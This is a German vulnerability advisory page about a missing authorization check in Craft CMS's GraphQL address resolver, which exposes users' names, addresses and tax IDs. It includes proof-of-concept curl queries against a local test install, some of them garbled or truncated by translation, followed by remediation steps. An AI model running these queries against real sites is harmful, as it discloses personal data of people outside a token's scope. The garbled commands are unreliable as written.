Zum Inhalt springen
← Zurück zum Cyberlagebild
Zuletzt aktualisiert 25.08.2026 03:40

Missing Authorization in GraphQL Address Resolver Allows Cross-Scope PII Disclosure

CVSS 7.11 Quelle

Beschreibung

### Zusammenfassung Der GraphQL Address Element Resolver (src/gql/resolvers/elements/Address.php) führt keine Schema-Summe-Filterung bei Top-Level-Abfragen durch. Ein GraphQL-API-Token, das auf eine einzelne Benutzergruppe mit geringem Privileg ausgerichtet ist, kann jede Adresse im System lesen, einschließlich Adressen von Benutzern in Gruppen, auf die das Token keine Zugriffsberechtigung hat. Dies zeigt PII, einschließlich vollständiger Namen, Adressen, Organisationen, Steuer-IDs, etc. ### Details Jeder GraphQL-Element-Resolver in Craft CMS wendet die Schema-Summe-Filterung über `GqlHelper::extractAllowedEntitiesFromSchema()` an, wenn er Anfragen auf oberster Ebene bearbeitet, mit Ausnahme des Adress-Resolvers. Die einzige Gate-Prüfung für Adressen ist `canQueryUsers()` (`src/gql/queries/Address.php`, Zeile 30), was eine binäre Prüfung ist. Es gibt `true` zurück, wenn das Token Zugriff auf * irgendeine* Benutzergruppe hat. Einmal an diesem Gate vorbei, wird keine weitere Filterung mehr angewendet. ### PoC ** Getestet am:** CraftCMS 5.9.17 (frische Docker-Installation, PHP 8.3) **Voraussetzungen:** Ein GraphQL API-Token mit Lesezugriff auf jede einzelne Benutzergruppe ### Umgebung - Zwei Benutzergruppen: "publicUsers" (im Token-Bereich) und "internalTeam" (NICHT im Umfang) - 5 interne Führungskräfte mit Firmenadressen (internalTeam) - 3 öffentliche Kunden mit persönlichen Adressen (publicUsers) - GQL-Token nur für "publicUsers:read" **Schritt 1:** Introspect das Schema, um die "Adressen" -Abfrage zu entdecken, ist für dieses Token verfügbar. Geben Sie den folgenden Curl-Befehl ```bash curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ type(name: \"Query\") { fields {name description } } }"} http://localhost:8080/actions/graphql/api | jq ``` The token can see `addresses`, `entries`, `users` as top-level queries. **Schritt 2:** Adressfelder aufzählen, um die PII-Belichtungsfläche zu identifizieren. ``bash curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d "{"query": "{ type(name: \"AddressInterface\") { fields { name type { name } } } }"} http://localhost:8080/actions/graphql/api | jq ``` > Zu den exponierten Feldern gehören: `fullName`, `firstName`, `lastName`, `addressLine1/2/3`, `locality`, `postalCode`, `countryCode`, `organisation`, `organisationTax Id`, `Breitengrad`, `Längengrad`. **Schritt 3:** Richten Sie die Baseline fest - bestätigen Sie, dass der Benutzerumfang des Tokens begrenzt ist. Dies beweist, dass unser Token nur Zugriff auf die Gruppe "publicUsers" hat. ``bash curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ address {id full)" Vorname Name lastName addressLine1 addressLine2 locality postalCode countryCode organisation organisationTaxId } }"}' http://localhost:8080/actions/graphql/api | jq ``` Only 5 public users returned. Scope enforcement funktioniert korrekt für den User Resolver – interne Führungskräfte sind NICHT sichtbar. **Schritt 4:** Abfrage aller Adressen - das Token gibt Daten für ALLE Benutzergruppen zurück, einschließlich derjenigen außerhalb seines autorisierten Umfangs. ``bash curl -s -H Autorisierung: Bearer wbzwuzvlfohtahry ..

HerstellerPixel & Tonic
ProduktCraft CMS
ProduktfamilieKeine Angaben
Betroffene Versionen> 5.0.0 und < 5.9.18, ≥ 4.0.0 und < 4.17.12
Behobene Versionen5.9.18, 4.17.12

Quellen & weiterführende Informationen

Hier werden ausschließlich tatsächlich zu dieser Schwachstelle gespeicherte Quellenbelege angezeigt.

Was ist zur Behebung zu tun?

Auf eine behobene Version aktualisieren: 5.9.18, 4.17.12.

PrioritätGelb
EinordnungZeitnah behandeln: hohes technisches Risiko.

Empfohlene Schritte

  • Betroffene Systeme identifizieren: Pixel & Tonic Craft CMS.
  • Exposition prüfen: Internet-Erreichbarkeit, Admin-Oberflächen, VPN, Mail- oder Webdienste.
  • Update/Rollout auf behobene Version vorbereiten und priorisiert einspielen.
  • Nacharbeiten dokumentieren: betroffene Assets, Maßnahme, Zeitpunkt, Restrestrisiko.

Übergangsmaßnahmen

  • Zugriff auf betroffene Dienste auf vertrauenswürdige Netze einschränken.
  • WAF/IDS/EDR-Regeln und Hersteller-IOCs aktivieren, sofern verfügbar.
  • Nicht benötigte Funktionen, Plugins oder Dienste temporär deaktivieren.
  • Administrative Zugänge besonders absichern: MFA, Passwortrotation, Session-Invalidierung.